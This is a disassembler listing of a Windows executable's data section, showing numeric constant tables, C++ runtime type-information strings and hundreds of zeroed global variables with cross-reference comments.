dword_43D470	dd 0FFFFFFFFh		; DATA XREF: sub_424BF6:loc_424C82r
		dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
dword_43D4A8	dd 2 dup(0)		; DATA XREF: sub_425DDA+7o
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_43D608	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_425DDA+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh
off_43D764	dd offset off_427D60	; DATA XREF: ___:00427F3Co
					; ___:00428028o
		dd 0
a_?avexception@	db '.?AVexception@@',0
off_43D77C	dd offset off_427D60	; DATA XREF: ___:off_427DF0o
					; ___:00427E30o ...
		dd 0
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_43D79C	dd offset off_427D60	; DATA XREF: ___:off_427E38o
					; ___:00427E7Co ...
		dd 0
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_43D7BC	dd offset off_427D60	; DATA XREF: ___:off_427E84o
					; ___:00427EC8o ...
		dd 0
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 10h
off_43D7E0	dd offset off_427D60	; DATA XREF: ___:off_427ED0o
					; ___:00427F0Co
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_42470C
		align 10h
dword_43D800	dd 2 dup(0)		; DATA XREF: sub_40111D+C8o
dword_43D808	dd 2 dup(0)		; DATA XREF: sub_40111D+62o
					; ___:0040146Eo ...
dword_43D810	dd 0			; DATA XREF: ___:004015B0o
					; sub_401ACD+B08o ...
		dd 5 dup(0)
dword_43D828	dd 0			; DATA XREF: sub_401ACD+B64r
					; sub_4150B5+60r
		dd 2D9h	dup(0)
dword_43E390	dd 0			; DATA XREF: sub_401ACD+5E63r
					; sub_401ACD+5F40r ...
		dd 7Fh dup(0)
dword_43E590	dd 0			; DATA XREF: sub_40B0F7+41w
					; sub_40B232+40w ...
dword_43E594	dd 0			; DATA XREF: sub_40B0F7+47w
					; sub_40B232+46w ...
dword_43E598	dd 0			; DATA XREF: sub_40B0F7+52w
					; sub_40B232+3Ar ...
dword_43E59C	dd 0			; DATA XREF: sub_40111D+Cr
					; sub_4017ED+B9w ...
dword_43E5A0	dd 0			; DATA XREF: sub_40B232+75r
					; sub_40B413+2Aw ...
dword_43E5A4	dd 0			; DATA XREF: ___:004015FFw
					; ___:00401677w ...
byte_43E5A8	db 0			; DATA XREF: sub_4017ED+91o
					; sub_401ACD+5DA8r ...
		align 4
		dd 1C69h dup(0)
dword_445750	dd 2A3Fh dup(0)		; DATA XREF: ___:00433E54o
		db 0
byte_45004D	db 3 dup(0)		; DATA XREF: ___:00438140o
dword_450050	dd 1CFCh dup(0)
		db 0
byte_457441	db 3 dup(0)		; DATA XREF: ___:off_438BACo
dword_457444	dd 17780h dup(0)
		db 0
byte_4B5245	db 3 dup(0)		; DATA XREF: ___:off_438A18o
dword_4B5248	dd 5852h dup(0)
dword_4CB390	dd 0			; DATA XREF: sub_40111D+FDw
					; sub_40B0F7+13o ...
dword_4CB394	dd 0			; DATA XREF: ___:0040125Ew
					; sub_401ACD:loc_4044D8r ...
dword_4CB398	dd 0			; DATA XREF: ___:loc_4016FFo
dword_4CB39C	dd 20h dup(0)		; DATA XREF: ___:004016B6o
					; ___:00401750o ...
dword_4CB41C	dd 10h dup(0)		; DATA XREF: ___:004016CCo
dword_4CB45C	dd 24h dup(0)		; DATA XREF: ___:004016E3o
dword_4CB4EC	dd 0			; DATA XREF: ___:004016D7w
					; ___:00401767w ...
dword_4CB4F0	dd 0			; DATA XREF: ___:004016F6w
		align 10h
byte_4CB500	db 0			; DATA XREF: sub_401955+28r
					; sub_401955+30o
		align 4
dword_4CB504	dd 0			; DATA XREF: ___:00401704w
					; ___:0040171Br ...
dword_4CB508	dd 0			; DATA XREF: ___:004016BBw
					; sub_401ACD+8BEr
dword_4CB50C	dd 0			; DATA XREF: sub_401ACD+7DC0o
					; sub_40C9A5+13o ...
dword_4CB510	dd 0			; DATA XREF: sub_409B13+4A7w
					; sub_409B13+4EBr ...
dword_4CB514	dd 0			; DATA XREF: sub_409B13+65w
					; sub_4196BD+166r
dword_4CB518	dd 0			; DATA XREF: sub_409B13+80Bw
					; sub_409B13+880r ...
dword_4CB51C	dd 0			; DATA XREF: sub_409B13+9D8w
					; sub_409B13+A43r ...
dword_4CB520	dd 0			; DATA XREF: sub_409B13+98Aw
					; sub_409B13+A13r ...
dword_4CB524	dd 0			; DATA XREF: sub_409B13+48Dw
					; sub_409B13+4DBr ...
dword_4CB528	dd 0			; DATA XREF: sub_409B13+213w
					; sub_409B13+234r
dword_4CB52C	dd 0			; DATA XREF: sub_409B13+9CBw
					; sub_409B13+A3Br ...
dword_4CB530	dd 0			; DATA XREF: sub_409B13+372w
					; sub_409B13+3C7r ...
dword_4CB534	dd 0			; DATA XREF: sub_409B13+40Fw
					; sub_41AA43+11Er
dword_4CB538	dd 0			; DATA XREF: sub_409B13+37Fw
					; sub_409B13+3CFr ...
dword_4CB53C	dd 0			; DATA XREF: sub_409B13+3C0w
					; sub_418C8F+ADr
dword_4CB540	dd 0			; DATA XREF: sub_409B13+55Aw
					; sub_40F0D6+115r ...
dword_4CB544	dd 0			; DATA XREF: sub_409B13+72w
					; sub_409B13+D2r ...
dword_4CB548	dd 0			; DATA XREF: sub_409B13+97Dw
					; sub_409B13+A06r ...
dword_4CB54C	dd 0			; DATA XREF: sub_409B13+3A6w
					; sub_409B13+3E7r ...
dword_4CB550	dd 0			; DATA XREF: sub_409B13+859w
					; sub_409B13+8ACr ...
dword_4CB554	dd 0			; DATA XREF: sub_409B13+2A5w
					; sub_409B13+2F0r ...
dword_4CB558	dd 0			; DATA XREF: sub_409B13+84Cw
					; sub_409B13+8A4r ...
dword_4CB55C	dd 0			; DATA XREF: sub_409B13+B3w
dword_4CB560	dd 0			; DATA XREF: sub_409B13+866w
					; sub_409B13+8B4r ...
dword_4CB564	dd 0			; DATA XREF: sub_409B13+54Dw
					; sub_409B13+6D0r ...
dword_4CB568	dd 0			; DATA XREF: sub_409B13+58w
					; sub_409B13+CAr ...
dword_4CB56C	dd 0			; DATA XREF: sub_409B13+934w
dword_4CB570	dd 0			; DATA XREF: sub_401ACD:loc_403F26r
					; sub_409B13+A95w ...
dword_4CB574	dd 0			; DATA XREF: sub_409B13+A6w
					; sub_409B13+F2r
dword_4CB578	dd 0			; DATA XREF: sub_409B13+480w
					; sub_409B13+4D3r ...
dword_4CB57C	dd 0			; DATA XREF: sub_409B13+5F6w
					; sub_40BFA4+20r
dword_4CB580	dd 0			; DATA XREF: sub_409B13+9BEw
					; sub_409B13+A33r
dword_4CB584	dd 0			; DATA XREF: sub_409B13+5E9w
					; sub_409B13+754r ...
dword_4CB588	dd 0			; DATA XREF: sub_409B13+A0Cw
dword_4CB58C	dd 0			; DATA XREF: sub_409B13+B50w
dword_4CB590	dd 0			; DATA XREF: sub_409B13+7FEw
					; sub_409B13+86Dr ...
dword_4CB594	dd 0			; DATA XREF: sub_409B13+1B3w
					; sub_40B2F2+3Do ...
dword_4CB598	dd 0			; DATA XREF: sub_409B13+997w
					; sub_409B13+A1Br ...
dword_4CB59C	dd 0			; DATA XREF: sub_409B13+38Cw
					; sub_409B13+3D7r ...
dword_4CB5A0	dd 0			; DATA XREF: sub_409B13+399w
					; sub_409B13+3DFr ...
dword_4CB5A4	dd 0			; DATA XREF: sub_409B13+C85w
					; sub_409B13+C8Cr ...
dword_4CB5A8	dd 0			; DATA XREF: sub_409B13+6ACw
					; ___:00410890r
dword_4CB5AC	dd 0			; DATA XREF: sub_40111D+1Dr
					; sub_40111D+23r ...
dword_4CB5B0	dd 0			; DATA XREF: sub_409B13+4B4w
					; sub_4153BD+207r
dword_4CB5B4	dd 0			; DATA XREF: sub_409B13+9E5w
					; sub_409B13+A4Br ...
dword_4CB5B8	dd 0			; DATA XREF: sub_401000+51r
					; sub_409B13+2B2w ...
dword_4CB5BC	dd 0			; DATA XREF: sub_409B13+7Fw
					; sub_409B13+DAr ...
dword_4CB5C0	dd 0			; DATA XREF: sub_401ACD+5912r
					; sub_401ACD+79CFr ...
dword_4CB5C4	dd 0			; DATA XREF: ___:004012ADr
					; sub_401ACD+5118r ...
dword_4CB5C8	dd 0			; DATA XREF: sub_409B13+825w
					; sub_409B13+890r ...
dword_4CB5CC	dd 0			; DATA XREF: sub_409B13+9A4w
					; sub_409B13+A23r
dword_4CB5D0	dd 0			; DATA XREF: sub_409B13+C0Ew
					; sub_409B13+C3Fr
dword_4CB5D4	dd 0			; DATA XREF: sub_409B13+2CCw
					; sub_4184E2+47r
dword_4CB5D8	dd 0			; DATA XREF: sub_409B13+22Dw
dword_4CB5DC	dd 0			; DATA XREF: sub_409B13+91Aw
					; sub_409B13+92Er
dword_4CB5E0	dd 0			; DATA XREF: sub_409B13+C28w
dword_4CB5E4	dd 0			; DATA XREF: sub_409B13+2D9w
					; sub_4184E2+4Fr
dword_4CB5E8	dd 0			; DATA XREF: sub_409B13+574w
					; sub_409B13+6E8r ...
dword_4CB5EC	dd 0			; DATA XREF: sub_409B13+83Fw
					; sub_409B13+873r
dword_4CB5F0	dd 0			; DATA XREF: sub_409B13+220w
					; sub_409B13+23Cr
dword_4CB5F4	dd 0			; DATA XREF: sub_409B13+172w
					; sub_409B13+1C2r ...
dword_4CB5F8	dd 0			; DATA XREF: sub_401ACD+1E31r
					; sub_401ACD+5AC8r ...
dword_4CB5FC	dd 0			; DATA XREF: sub_4017ED+C4r
					; sub_401ACD+51A2r ...
dword_4CB600	dd 0			; DATA XREF: sub_409B13+567w
					; sub_409B13+6DCr ...
dword_4CB604	dd 0			; DATA XREF: sub_409B13+8DBw
					; sub_409B13:loc_40A40Cw ...
dword_4CB608	dd 0			; DATA XREF: sub_401000+26r
					; sub_409B13+28Bw ...
dword_4CB60C	dd 0			; DATA XREF: sub_401ACD+795Ar
					; sub_409B13+69Fw ...
dword_4CB610	dd 0			; DATA XREF: sub_409B13+32Dw
					; sub_409B13+341r ...
dword_4CB614	dd 0			; DATA XREF: sub_409B13+3B3w
					; sub_409B13+3EFr ...
dword_4CB618	dd 0			; DATA XREF: sub_409B13+C01w
					; sub_409B13+C37r
dword_4CB61C	dd 0			; DATA XREF: sub_409B13+818w
					; sub_409B13+888r ...
dword_4CB620	dd 0			; DATA XREF: sub_409B13+206w
					; sub_409B13+227r
dword_4CB624	dd 0			; DATA XREF: sub_409B13+18Cw
					; sub_409B13+1D2r ...
dword_4CB628	dd 0			; DATA XREF: sub_409B13+832w
					; sub_409B13+898r ...
dword_4CB62C	dd 0			; DATA XREF: sub_409B13+624w
					; sub_409B13+774r
dword_4CB630	dd 0			; DATA XREF: sub_401000+5Ar
					; sub_409B13+2BFw ...
dword_4CB634	dd 0			; DATA XREF: sub_409B13+66Bw
					; sub_409B13+79Cr ...
dword_4CB638	dd 0			; DATA XREF: sub_409B13+320w
					; sub_409B13+334r ...
dword_4CB63C	dd 0			; DATA XREF: sub_409B13+644w
					; sub_409B13+784r ...
dword_4CB640	dd 0			; DATA XREF: sub_409B13+44Cw
					; sub_409B13+4AEr ...
dword_4CB644	dd 0			; DATA XREF: sub_409B13+199w
					; sub_409B13+1DAr ...
dword_4CB648	dd 0			; DATA XREF: sub_409B13+365w
					; sub_409B13+3BAr ...
dword_4CB64C	dd 0			; DATA XREF: sub_409B13+AA2w
dword_4CB650	dd 0			; DATA XREF: sub_409B13+5DCw
					; sub_409B13+748r ...
dword_4CB654	dd 0			; DATA XREF: sub_4017ED+3Er
					; sub_401ACD+5154r ...
dword_4CB658	dd 0			; DATA XREF: sub_409B13+4Bw
					; sub_409B13+C2r ...
dword_4CB65C	dd 0			; DATA XREF: sub_409B13+473w
					; sub_409B13+4CBr ...
dword_4CB660	dd 0			; DATA XREF: sub_409B13+165w
					; sub_409B13+1BAr ...
dword_4CB664	dd 0			; DATA XREF: sub_409B13+9FFw
					; sub_409B13+A5Br ...
dword_4CB668	dd 0			; DATA XREF: sub_409B13+685w
					; sub_409B13+7ACr ...
dword_4CB66C	dd 0			; DATA XREF: sub_401955+D1r
					; sub_401ACD+51B7r ...
dword_4CB670	dd 0			; DATA XREF: sub_409B13+C1Bw
					; sub_409B13+C47r
dword_4CB674	dd 0			; DATA XREF: sub_409B13+3Ew
					; sub_409B13+BAr ...
dword_4CB678	dd 0			; DATA XREF: sub_401000+45r
					; sub_409B13+298w ...
dword_4CB67C	dd 0			; DATA XREF: sub_409B13+651w
					; sub_409B13+78Cr ...
dword_4CB680	dd 0			; DATA XREF: sub_409B13+637w
					; sub_409B13+77Cr ...
dword_4CB684	dd 0			; DATA XREF: sub_401ACD+73BAr
					; sub_409B13+C92w
dword_4CB688	dd 0			; DATA XREF: sub_409B13+879w
					; ___:004168D6r ...
dword_4CB68C	dd 0			; DATA XREF: sub_409B13+112w
dword_4CB690	dd 0			; DATA XREF: sub_409B13+BE7w
					; sub_409B13+C22r
dword_4CB694	dd 0			; DATA XREF: sub_401ACD+2FE5r
					; sub_401ACD+5F99r ...
dword_4CB698	dd 0			; DATA XREF: sub_409B13+459w
					; sub_409B13+4BBr ...
dword_4CB69C	dd 0			; DATA XREF: sub_409B13+49Aw
					; sub_409B13+4E3r ...
dword_4CB6A0	dd 0			; DATA XREF: sub_409B13+466w
					; sub_409B13+4C3r ...
dword_4CB6A4	dd 0			; DATA XREF: sub_401955+89r
					; sub_401ACD+51D4r ...
dword_4CB6A8	dd 0			; DATA XREF: sub_409B13+1A6w
					; sub_409B13+1E2r ...
dword_4CB6AC	dd 0			; DATA XREF: sub_409B13+9F2w
					; sub_409B13+A53r ...
dword_4CB6B0	dd 0			; DATA XREF: sub_409B13+158w
					; sub_409B13+1ADr ...
dword_4CB6B4	dd 0			; DATA XREF: sub_409B13+8Cw
					; sub_409B13+E2r ...
dword_4CB6B8	dd 0			; DATA XREF: sub_409B13+610w
					; sub_409B13+764r ...
dword_4CB6BC	dd 0			; DATA XREF: sub_409B13+B43w
					; sub_409B13+B5Fr
dword_4CB6C0	dd 0			; DATA XREF: sub_409B13+33Aw
					; sub_419652+55r
dword_4CB6C4	dd 0			; DATA XREF: sub_409B13+27Ew
					; sub_409B13+2D3r ...
dword_4CB6C8	dd 0			; DATA XREF: sub_409B13+BAAw
dword_4CB6CC	dd 0			; DATA XREF: sub_409B13+AECw
					; sub_40AB32+CEr
dword_4CB6D0	dd 0			; DATA XREF: sub_409B13+ADFw
					; sub_409B13+AE6r ...
dword_4CB6D4	dd 0			; DATA XREF: sub_4017ED+A6r
					; sub_401ACD+5133r ...
dword_4CB6D8	dd 0			; DATA XREF: sub_401ACD+5125r
					; sub_401ACD+7981r ...
dword_4CB6DC	dd 0			; DATA XREF: sub_409B13+BF4w
					; sub_409B13+C2Fr
dword_4CB6E0	dd 0			; DATA XREF: sub_401ACD+1E57r
					; sub_401ACD+5AEEr ...
dword_4CB6E4	dd 0			; DATA XREF: sub_409B13+9B1w
					; sub_409B13+A2Br ...
dword_4CB6E8	dd 0			; DATA XREF: sub_409B13+65Ew
					; sub_409B13+794r ...
dword_4CB6EC	dd 0			; DATA XREF: sub_40111D+12r
					; sub_4017ED+D0r ...
dword_4CB6F0	dd 0			; DATA XREF: sub_409B13+59Bw
					; sub_409B13+70Cr ...
dword_4CB6F4	dd 0			; DATA XREF: sub_409B13+B36w
					; sub_409B13+B57r
dword_4CB6F8	dd 0			; DATA XREF: sub_409B13+540w
					; sub_409B13+6C4r ...
dword_4CB6FC	dd 0			; DATA XREF: sub_409B13+B29w
					; sub_409B13+B4Ar
dword_4CB700	dd 0			; DATA XREF: ___:00401273r
					; sub_409B13+31w ...
dword_4CB704	dd 0			; DATA XREF: sub_409B13+17Fw
					; sub_409B13+1CAr ...
		dd 0
dword_4CB70C	dd 0			; DATA XREF: sub_409B13+927w
					; sub_409B13+93Br
dword_4CB710	dd 0			; DATA XREF: sub_409B13+99w
					; sub_409B13+EAr ...
dword_4CB714	dd 0			; DATA XREF: sub_409B13:loc_409C11w
					; sub_409B13+12Bw ...
dword_4CB718	dd 0			; DATA XREF: sub_409B13+126w
					; sub_40A7CF+1Cr
dword_4CB71C	dd 0			; DATA XREF: sub_409B13:loc_409D01w
					; sub_409B13:loc_409D68w ...
dword_4CB720	dd 0			; DATA XREF: sub_409B13+250w
					; sub_40A7CF+50r
dword_4CB724	dd 0			; DATA XREF: ___:0040156Ar
					; sub_401ACD+4568r ...
dword_4CB728	dd 0			; DATA XREF: sub_409B13+41Ew
					; sub_40A7CF+84r
dword_4CB72C	dd 0			; DATA XREF: sub_409B13:loc_40A017w
					; sub_40A7CF:loc_40A87Fr
dword_4CB730	dd 0			; DATA XREF: sub_409B13+4FFw
					; sub_40A7CF+B8r
dword_4CB734	dd 0			; DATA XREF: sub_409B13:loc_40A2E8w
					; sub_40A7CF:loc_40A8B3r
dword_4CB738	dd 0			; DATA XREF: sub_409B13+7D0w
					; sub_40A7CF+ECr
dword_4CB73C	dd 0			; DATA XREF: sub_409B13:loc_40A3D3w
					; sub_409B13+8EFw ...
dword_4CB740	dd 0			; DATA XREF: sub_409B13+8EAw
					; sub_40A7CF+120r
dword_4CB744	dd 0			; DATA XREF: sub_401ACD:loc_406F18r
					; sub_409B13:loc_40A467w ...
dword_4CB748	dd 0			; DATA XREF: sub_409B13+94Fw
					; sub_40A7CF+154r
dword_4CB74C	dd 0			; DATA XREF: sub_401ACD+4570r
					; sub_409B13:loc_40A583w ...
dword_4CB750	dd 0			; DATA XREF: sub_409B13+A6Bw
					; sub_40A7CF+188r
dword_4CB754	dd 0			; DATA XREF: sub_409B13:loc_40A5CDw
					; sub_40A7CF:loc_40A983r
dword_4CB758	dd 0			; DATA XREF: sub_409B13+AB5w
					; sub_40A7CF+1BCr
dword_4CB75C	dd 0			; DATA XREF: sub_409B13:loc_40A617w
					; sub_40A7CF:loc_40A9B7r
dword_4CB760	dd 0			; DATA XREF: sub_409B13+AFFw
					; sub_40A7CF+1F0r
dword_4CB764	dd 0			; DATA XREF: sub_409B13:loc_40A68Bw
					; sub_40A7CF:loc_40A9EBr
dword_4CB768	dd 0			; DATA XREF: sub_409B13+B73w
					; sub_40A7CF+224r
dword_4CB76C	dd 0			; DATA XREF: sub_409B13:loc_40A6D5w
					; sub_40A7CF:loc_40AA1Fr
dword_4CB770	dd 0			; DATA XREF: sub_409B13+BBDw
					; sub_40A7CF+258r
dword_4CB774	dd 0			; DATA XREF: sub_409B13:loc_40A773w
					; sub_40A7CF:loc_40AA53r
dword_4CB778	dd 0			; DATA XREF: sub_409B13+C5Bw
					; sub_40A7CF+28Cr
dword_4CB77C	dd 0			; DATA XREF: sub_409B13:loc_40A7BDw
					; sub_40A7CF:loc_40AA87r
dword_4CB780	dd 0			; DATA XREF: sub_409B13+CA5w
					; sub_40A7CF+2C0r
dword_4CB784	dd 7 dup(0)		; DATA XREF: sub_40AC10+32o
dword_4CB7A0	dd 0			; DATA XREF: sub_40BA57+18r
					; sub_40BFEC+92w ...
dword_4CB7A4	dd 0			; DATA XREF: sub_40C125+4Dr
					; sub_40C125+2F1w ...
		dd 7FEh	dup(0)
dword_4CD7A0	dd 6 dup(0)		; DATA XREF: sub_40C125+D2o
					; sub_40C125+13Bo ...
dword_4CD7B8	dd 0			; DATA XREF: sub_40BACE+2C4w
					; sub_40BACE+348o
dword_4CD7BC	dd 0			; DATA XREF: sub_40BACE+33Ew
					; sub_40BACE+35Ar
dword_4CD7C0	dd 0			; DATA XREF: sub_40BACE+2CFw
dword_4CD7C4	dd 0			; DATA XREF: sub_40BACE+2B9w
					; sub_40BACE:loc_40BDE3r
dword_4CD7C8	dd 20h dup(0)		; DATA XREF: sub_40BACE+2E2o
					; sub_40BACE+302o
dword_4CD848	dd 0			; DATA XREF: sub_40BACE+2D5w
dword_4CD84C	dd 0			; DATA XREF: sub_40BACE+2EFw
					; sub_40BACE+30Fw
dword_4CD850	dd 0			; DATA XREF: sub_40BACE:loc_40BE3Er
		align 8
dword_4CD858	dd 0			; DATA XREF: sub_40BACE+82w
					; sub_40BACE+101o
dword_4CD85C	dd 41h dup(0)		; DATA XREF: sub_40BACE+41o
dword_4CD960	dd 41h dup(0)		; DATA XREF: sub_40BACE+69o
dword_4CDA64	dd 0			; DATA XREF: sub_40BACE+F7w
					; sub_40BACE+113r
dword_4CDA68	dd 0			; DATA XREF: sub_40BACE+52w
dword_4CDA6C	dd 0			; DATA XREF: sub_40BACE+4Dw
					; sub_40BACE+D4r
dword_4CDA70	dd 20h dup(0)		; DATA XREF: sub_40BACE+9Ao
					; sub_40BACE+BAo
dword_4CDAF0	dd 0			; DATA XREF: sub_40BACE+8Fw
dword_4CDAF4	dd 0			; DATA XREF: sub_40BACE+A7w
					; sub_40BACE+C7w
dword_4CDAF8	dd 0			; DATA XREF: sub_40BACE:loc_40BBF7r
		align 10h
dword_4CDB00	dd 0			; DATA XREF: sub_40BACE+1A5w
					; sub_40BACE+225o
dword_4CDB04	dd 41h dup(0)		; DATA XREF: sub_40BACE+167o
dword_4CDC08	dd 41h dup(0)		; DATA XREF: sub_40BACE+18Co
dword_4CDD0C	dd 0			; DATA XREF: sub_40BACE+21Bw
					; sub_40BACE+237r
dword_4CDD10	dd 0			; DATA XREF: sub_40BACE+17Aw
dword_4CDD14	dd 0			; DATA XREF: sub_40BACE+175w
					; sub_40BACE+1F8r
dword_4CDD18	dd 20h dup(0)		; DATA XREF: sub_40BACE+1BEo
					; sub_40BACE+1DEo
dword_4CDD98	dd 0			; DATA XREF: sub_40BACE+1B1w
dword_4CDD9C	dd 0			; DATA XREF: sub_40BACE+1CBw
					; sub_40BACE+1EBw
dword_4CDDA0	dd 0			; DATA XREF: sub_40BACE:loc_40BD1Br
		align 8
dword_4CDDA8	dd 0			; DATA XREF: sub_40BACE+417w
					; sub_40BACE+470o
dword_4CDDAC	dd 0A2h	dup(0)		; DATA XREF: sub_40BACE+405o
dword_4CE034	dd 41h dup(0)		; DATA XREF: sub_40BACE+3CFo
dword_4CE138	dd 0			; DATA XREF: sub_40BACE+3FCw
					; sub_40BACE+423r
		align 10h
dword_4CE140	dd 0			; DATA XREF: sub_40BACE+466w
					; sub_40BACE+482r
dword_4CE144	dd 0			; DATA XREF: sub_40BACE+429w
dword_4CE148	dd 0			; DATA XREF: sub_40BACE+436w
dword_4CE14C	dd 0			; DATA XREF: sub_40BACE+3F6w
		dd 0
dword_4CE154	dd 0			; DATA XREF: sub_40BACE:loc_40BF66r
		dd 0
dword_4CE15C	dd 0			; DATA XREF: sub_40B71A+Er
					; sub_40B71A+32r
dword_4CE160	dd 0			; DATA XREF: sub_40B71A+9r
					; sub_40B71A+26r
dword_4CE164	dd 82h dup(0)		; DATA XREF: sub_40C59C+8Do
dword_4CE36C	dd 2 dup(0)		; DATA XREF: sub_40CF05+68o
dword_4CE374	dd 0			; DATA XREF: sub_40D8A0+8w
					; ___:0040DC6Fo
		dd 0
dword_4CE37C	dd 2 dup(0)		; DATA XREF: ___:0040DBA5o
dword_4CE384	dd 0			; DATA XREF: ___:0040E4D8r
		dd 0
		dd 0
dword_4CE390	dd 0			; DATA XREF: ___:0040E4ABr
dword_4CE394	dd 0			; DATA XREF: ___:0040E48Dr
					; ___:0040E4F6r
		dd 0
dword_4CE39C	dd 0			; DATA XREF: sub_40BACE+2AEr
		dd 0
dword_4CE3A4	dd 0			; DATA XREF: sub_40B786+1Cr
dword_4CE3A8	dd 0			; DATA XREF: ___:0040EFE9w
					; ___:0040F010r ...
		dd 3 dup(0)
dword_4CE3B8	dd 0			; DATA XREF: ___:00410906r
		align 10h
dword_4CE3C0	dd 0			; DATA XREF: sub_412352+4w
					; sub_412352+9o
		dd 109h	dup(0)
dword_4CE7E8	dd 188h	dup(0)		; DATA XREF: sub_401ACD+2F6Fo
					; sub_401ACD:loc_404AC5o
dword_4CEE08	dd 0			; DATA XREF: sub_401ACD+1A24w
					; sub_401ACD+2F67r ...
		dd 11Ch	dup(0)
dword_4CF27C	dd 1000h dup(0)		; DATA XREF: sub_4151AD+1Do
					; sub_41524Do
dword_4D327C	dd 0			; DATA XREF: sub_4151AD+13o
					; sub_41524D+Eo ...
dword_4D3280	dd 0			; DATA XREF: sub_4155F8+Fr
					; sub_4157F1+12r
		align 8
dword_4D3288	dd 0Eh dup(0)		; DATA XREF: sub_416923+Fo
dword_4D32C0	dd 80h dup(0)		; DATA XREF: sub_4175EA+41o
dword_4D34C0	dd 200h	dup(0)		; DATA XREF: sub_416F1B+C7o
					; sub_417276+DDo ...
dword_4D3CC0	dd 124h	dup(0)		; DATA XREF: sub_416F1B+D6o
					; sub_417276+F4o ...
		db 2 dup(0)
word_4D4152	dw 0			; DATA XREF: ___:off_437F28o
		dd 0DBh	dup(0)
dword_4D44C0	dd 0			; DATA XREF: sub_416F1B+86w
					; sub_4170ED+94r
dword_4D44C4	dd 0			; DATA XREF: sub_416F1B+A7w
					; sub_417553+55r ...
dword_4D44C8	dd 0			; DATA XREF: sub_416F1B+A0w
					; sub_4170ED+D6r ...
dword_4D44CC	dd 0			; DATA XREF: sub_416F1B+79w
					; sub_4170ED+35r ...
dword_4D44D0	dd 80h dup(0)		; DATA XREF: sub_417553+5Eo
dword_4D46D0	dd 0			; DATA XREF: sub_416F1B+93w
					; sub_4170ED+A2r
		align 8
dword_4D46D8	dd 0			; DATA XREF: sub_416F1B+E7o
					; sub_416F1B+103r ...
dword_4D46DC	dd 0			; DATA XREF: sub_417276+17Bw
					; sub_41741D+107w
dword_4D46E0	dd 0			; DATA XREF: sub_417276+180w
					; sub_41741D+10Dw ...
dword_4D46E4	dd 0			; DATA XREF: sub_417276+159w
					; sub_417553+4Fr
dword_4D46E8	dd 0			; DATA XREF: sub_4178BB+22w
					; sub_4178BB:loc_417A40w ...
dword_4D46EC	dd 0			; DATA XREF: sub_401ACD+3CC4o
					; sub_417789+12o ...
		dd 0
dword_4D46F4	dd 0			; DATA XREF: sub_4178BB+1Cr
					; sub_417A60+3Ar
		dd 7Fh dup(0)
dword_4D48F4	dd 0			; DATA XREF: sub_4178BB+28r
					; sub_417A60+4Aw
		dd 1944h dup(0)
dword_4DAE08	dd 0			; DATA XREF: sub_417A60+23o
dword_4DAE0C	dd 81h dup(0)		; DATA XREF: sub_401ACD+3CE2o
					; sub_417789+3Co ...
dword_4DB010	dd 17h dup(0)		; DATA XREF: sub_4187DE:loc_4188FBo
					; sub_4187DE+131o ...
